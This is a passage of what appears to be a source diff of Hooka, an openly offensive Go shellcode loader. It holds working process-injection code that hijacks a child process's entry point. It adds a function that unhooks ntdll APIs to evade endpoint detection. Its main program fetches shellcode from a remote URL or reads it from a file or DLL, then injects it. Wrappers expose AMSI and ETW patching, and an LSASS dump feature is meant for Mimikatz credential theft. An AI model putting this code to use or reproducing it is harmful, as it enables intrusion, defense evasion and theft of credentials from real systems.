VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
type PEB struct {
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
BeingDebugged byte // BYTE 2
reserved2 [1]byte // BYTE 3
Mutant uintptr // BYTE 4
ImageBaseAddress uintptr // BYTE 8
Ldr uintptr // PPEB_LDR_DATA
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
reserved4 [3]uintptr // PVOID
AtlThunkSListPtr uintptr // PVOID
reserved5 uintptr // PVOID
reserved6 uint32 // ULONG
reserved7 uintptr // PVOID
reserved8 uint32 // ULONG
AtlThunkSListPtr32 uint32 // ULONG
reserved9 [45]uintptr // PVOID
reserved10 [96]byte // BYTE
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
reserved11 [128]byte // BYTE
reserved12 [1]uintptr // PVOID
SessionId uint32 // ULONG
}
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
type PROCESS_BASIC_INFORMATION struct {
reserved1 uintptr // PVOID
PebBaseAddress uintptr // PPEB
reserved2 [2]uintptr // PVOID
UniqueProcessId uintptr // ULONG_PTR
InheritedFromUniqueProcessID uintptr // PVOID
}
var processInformation PROCESS_BASIC_INFORMATION
var returnLength uintptr
ntStatus, _, _ := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
if ntStatus != 0 {
if ntStatus == 3221225476 {
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
}
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
return errors.New("Error calling NtQueryInformationProcess")
}
// Read from PEB base address to populate the PEB structure
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var peb PEB
var readBytes int32
ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
// Read the child program's DOS header and validate it is a MZ executable
type IMAGE_DOS_HEADER struct {
Magic uint16 // USHORT Magic number
Cblp uint16 // USHORT Bytes on last page of file
Cp uint16 // USHORT Pages in file
Crlc uint16 // USHORT Relocations
Cparhdr uint16 // USHORT Size of header in paragraphs
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
SS uint16 // USHORT Initial (relative) SS value
SP uint16 // USHORT Initial SP value
CSum uint16 // USHORT Checksum
IP uint16 // USHORT Initial IP value
CS uint16 // USHORT Initial (relative) CS value
LfaRlc uint16 // USHORT File address of relocation table
Ovno uint16 // USHORT Overlay number
Res [4]uint16 // USHORT Reserved words
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
OEMInfo uint16 // USHORT OEM information; e_oemid specific
Res2 [10]uint16 // USHORT Reserved words
LfaNew int32 // LONG File address of new exe header
}
var dosHeader IMAGE_DOS_HEADER
var readBytes2 int32
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
// 23117 is the LittleEndian unsigned base10 representation of MZ
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
if dosHeader.Magic != 23117 {
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
}
// Read the child process's PE header signature to validate it is a PE
var Signature uint32
var readBytes3 int32
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
if Signature != 17744 {
return errors.New("PE Signature string was not PE")
}
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
var peHeader IMAGE_FILE_HEADER
var readBytes4 int32
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
type IMAGE_OPTIONAL_HEADER64 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
type IMAGE_OPTIONAL_HEADER32 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
BaseOfData uint32 // Different from 64 bit header
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
var optHeader64 IMAGE_OPTIONAL_HEADER64
var optHeader32 IMAGE_OPTIONAL_HEADER32
var readBytes5 int32
if peHeader.Machine == 34404 { // 0x8664
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
} else if peHeader.Machine == 332 { // 0x14c
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
var ep uintptr
if peHeader.Machine == 34404 { // 0x8664 x64
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 { // 0x14c x86
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
if peHeader.Machine == 34404 { // 0x8664 x64
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 { // 0x14c x86
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// 0xff ; 0xe0 = jmp [r|e]ax
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
// Resume the child process
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
// Close the handle to the child process
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}
// Close the hand to the child process thread
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
return nil
}
+56
View File
@@ -0,0 +1,56 @@
package core
/*
References:
https://github.com/RedLectroid/APIunhooker
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
*/
import (
"fmt"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
)
func Unhook(funcname string) (error) {
// Load DLL APIs
k32 := syscall.NewLazyDLL("kernel32.dll")
getCurrentProcess := k32.NewProc("GetCurrentProcess")
getModuleHandle := k32.NewProc("GetModuleHandleW")
getProcAddress := k32.NewProc("GetProcAddress")
writeProcessMemory := k32.NewProc("WriteProcessMemory")
var assembly_bytes []byte
ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
defer syscall.FreeLibrary(ntdll_lib)
procAddr, _ := syscall.GetProcAddress(ntdll_lib, funcname)
ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
funcBytes := ptr_bytes[:5:5]
for i := 0; i < 5; i++ {
assembly_bytes = append(assembly_bytes, funcBytes[i])
}
ownHandle, _, _ := getCurrentProcess.Call()
ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
moduleHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
func_ptr, _ := windows.UTF16PtrFromString(funcname)
procAddr2, _, _ := getProcAddress.Call(moduleHandle, uintptr(unsafe.Pointer(func_ptr)))
// Overwrite address with original function bytes
writeProcessMemory.Call(ownHandle, procAddr2, uintptr(unsafe.Pointer(&assembly_bytes[0])), 5, uintptr(0))
return nil
}
+20
View File
@@ -0,0 +1,20 @@
module github.com/D3Ext/Hooka
go 1.19
require (
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761
golang.org/x/sys v0.3.0
)
require (
github.com/D3Ext/maldev v0.1.3 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/briandowns/spinner v1.20.0 // indirect
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
github.com/fatih/color v1.13.0 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
golang.org/x/term v0.3.0 // indirect
)
+34
View File
@@ -0,0 +1,34 @@
github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE=
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA=
github.com/D3Ext/maldev v0.1.3 h1:cn4TGdHpdUmjpNhLJ2/lpgU1TkJrEBVJGWcdgm7RQSg=
github.com/D3Ext/maldev v0.1.3/go.mod h1:+ZMVJlimO5ROIg34U/QkhmIQa0dU7rzxbhkFMH/DADQ=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
github.com/briandowns/spinner v1.20.0 h1:GQq1Yf1KyzYT8CY19GzWrDKP6hYOFB6J72Ks7d8aO1U=
github.com/briandowns/spinner v1.20.0/go.mod h1:TcwZHb7Wb6vn/+bcVv1UXEzaA4pLS7yznHlkY/HzH44=
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ=
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ=
golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.3.0 h1:qoo4akIqOcDME5bhc/NgxUdovd6BSS2uMsVjB56q1xI=
golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA=
+255
View File
@@ -0,0 +1,255 @@
package main
import (
"os"
"time"
"flag"
"strings"
"encoding/hex"
"encoding/base64"
// Hooka
"github.com/D3Ext/Hooka/core"
// My own malware dev package
l "github.com/D3Ext/maldev/logging"
)
func main() {
var shellcode []byte
var err error
// Parse CLI flags and retrieve values
sc_url, sc_file, dll_file, technique, hook_detect, _, _, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
l.PrintBanner("Hooka!")
l.Println(" by D3Ext - v0.1")
time.Sleep(100 * time.Millisecond)
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) { // Enter here if any main flag was especified
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)")
os.Exit(0)
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --url and --file at the same time!")
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --url and --dll at the same time!")
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use --file and --dll at the same time!")
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
if (base64_flag) && (hex_flag) { // Check if both flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
os.Exit(0)
}
time.Sleep(200 * time.Millisecond)
l.Println("\n[+] Remote shellcode URL: " + sc_url)
time.Sleep(300 * time.Millisecond)
if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags
l.Println("[+] No encoding was especified")
} else if (base64_flag) && (!hex_flag) {
l.Println("[+] Shellcode encoding: base64")
} else if (!base64_flag) && (hex_flag) {
l.Println("[+] Shellcode encoding: hex")
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Retrieving shellcode from url...")
shellcode, err = core.GetShellcodeFromUrl(sc_url)
if err != nil { // Handle error
l.Println("[-] An error has ocurred retrieving shellcode!")
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
if (base64_flag) && (!hex_flag) { // Decode shellcode if necessary
l.Println("[*] Decoding shellcode...")
shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
} else if (!base64_flag) && (hex_flag) {
l.Println("[*] Decoding shellcode...")
shellcode, err = hex.DecodeString(string(shellcode))
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
}
if (technique != "") {
l.Println("[*] Injecting shellcode using " + technique + " function")
}
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should have been executed without errors!")
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") {
if (base64_flag) && (hex_flag) { // Check if both flags were passed
l.Println()
flag.PrintDefaults()
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
os.Exit(0)
}
_, err := os.Stat(sc_file) // Check if file exists
if os.IsNotExist(err) {
l.Println("\n[-] Especified file doesn't exist!")
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
l.Println("[+] Shellcode file: " + sc_file)
time.Sleep(300 * time.Millisecond)
l.Println("[*] Getting shellcode from file")
time.Sleep(300 * time.Millisecond)
shellcode, err = core.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes
if err != nil { // Handle error
l.Fatal(err)
}
if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags
l.Println("[+] No encoding was especified")
time.Sleep(300 * time.Millisecond)
} else if (base64_flag) && (!hex_flag) {
l.Println("[+] Shellcode encoding: base64")
shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
if err != nil {
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Decoding shellcode")
time.Sleep(300 * time.Millisecond)
} else if (!base64_flag) && (hex_flag) {
l.Println("[+] Shellcode encoding: hex")
shellcode, err = hex.DecodeString(string(shellcode))
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[*] Decoding shellcode")
time.Sleep(300 * time.Millisecond)
}
if technique != "" {
l.Println("[*] Injecting shellcode using " + technique + " technique")
}
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should have been executed without errors!")
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
dll_filename := strings.Split(dll_file, ",")[0] // Get DLL path
dll_func := strings.Split(dll_file, ",")[1] // Get DLL function to execute
_, err := os.Stat(dll_filename) // Check if especified dll exists
if os.IsNotExist(err) {
l.Println("\n[-] Especified DLL doesn't exists!")
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
l.Println("\n[+] DLL file: " + dll_filename)
time.Sleep(300 * time.Millisecond)
l.Println("[+] Function to execute: " + dll_func)
time.Sleep(300 * time.Millisecond)
l.Println("[*] Converting " + dll_filename + " to position independant shellcode")
shellcode, err := core.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
if err != nil { // Handle error
l.Fatal(err)
}
time.Sleep(300 * time.Millisecond)
l.Println("[+] Process finished successfully!")
time.Sleep(100 * time.Millisecond)
if (technique != "") { // Check if technique has value so it doesn't get printed twice
l.Println("[*] Injecting shellcode using " + technique + " technique")
}
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should have been executed without errors")
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified
l.Println("\n[*] Detecting hooked functions...")
all_hooks, err := core.DetectHooks() // Get all hooked functions
if err != nil {
l.Fatal(err)
}
l.Println("[+] Process finished")
if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
l.Println("[*] Hooked functions:")
for _, h := range all_hooks {
l.Println(h)
}
time.Sleep(200 * time.Millisecond)
} else {
time.Sleep(200 * time.Millisecond)
l.Println("[+] No function is hooked!")
time.Sleep(100 * time.Millisecond)
}
} else if (sc_url == "") && (sc_file == "") && (!hook_detect) && (test_flag) {
l.Println("\n[*] Testing shellcode injection with calc.exe shellcode")
time.Sleep(200 * time.Millisecond)
err := core.InjectWithTechnique(core.CalcShellcode(), technique) // Inject calc.exe shellcode
if err != nil { // Handle error
l.Fatal(err)
}
l.Println("[+] Shellcode should have been executed!")
} else if (lsass != "") { // Enter here if --lsass flag was especified
l.Println("[*] Dumping lsass process to " + lsass)
err := core.DumpLsass(lsass)
if err != nil {
l.Println("[-] An error has ocurred, ensure to be running as admin:")
l.Fatal(err)
}
l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials")
time.Sleep(100 * time.Millisecond)
}
}
+9
View File
@@ -0,0 +1,9 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func PatchAmsi(pid int) (error) {
return core.PatchAmsi(pid)
}
+8
View File
@@ -0,0 +1,8 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func PatchEtw() (error) {
return core.PatchEtw()
}
+17
View File
@@ -0,0 +1,17 @@
package hooka
import (
"golang.org/x/sys/windows"
"github.com/D3Ext/Hooka/core"
)
func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
return core.FuncFromHash(hash, dll)
}
func HashFromFunc(funcname string) (string) {
return core.HashFromFunc(funcname)
}
+14
View File
@@ -0,0 +1,14 @@
package hooka
import (
"github.com/D3Ext/Hooka/core"
)
func DetectHooks() ([]string, error) {
return core.DetectHooks()
}
func IsHooked(func_name string) (bool, error) {
return core.IsHooked(func_name)
}
+8
View File
@@ -0,0 +1,8 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func DumpLsass(output string) (error) {
return core.DumpLsass(output)
}
+21
View File
@@ -0,0 +1,21 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func CreateRemoteThread(shellcode []byte) (error) {
return core.CreateRemoteThread(shellcode)
}
func CreateProcess(shellcode []byte) (error) {
return core.CreateProcess(shellcode)
}
func Fibers(shellcode []byte) (error) {
return core.Fibers(shellcode)
}
func EarlyBirdApc(shellcode []byte) (error) {
return core.EarlyBirdApc(shellcode)
}
+8
View File
@@ -0,0 +1,8 @@
package hooka
import "github.com/D3Ext/Hooka/core"
func Unhook(funcname string) (error) {
return core.Unhook(funcname)
}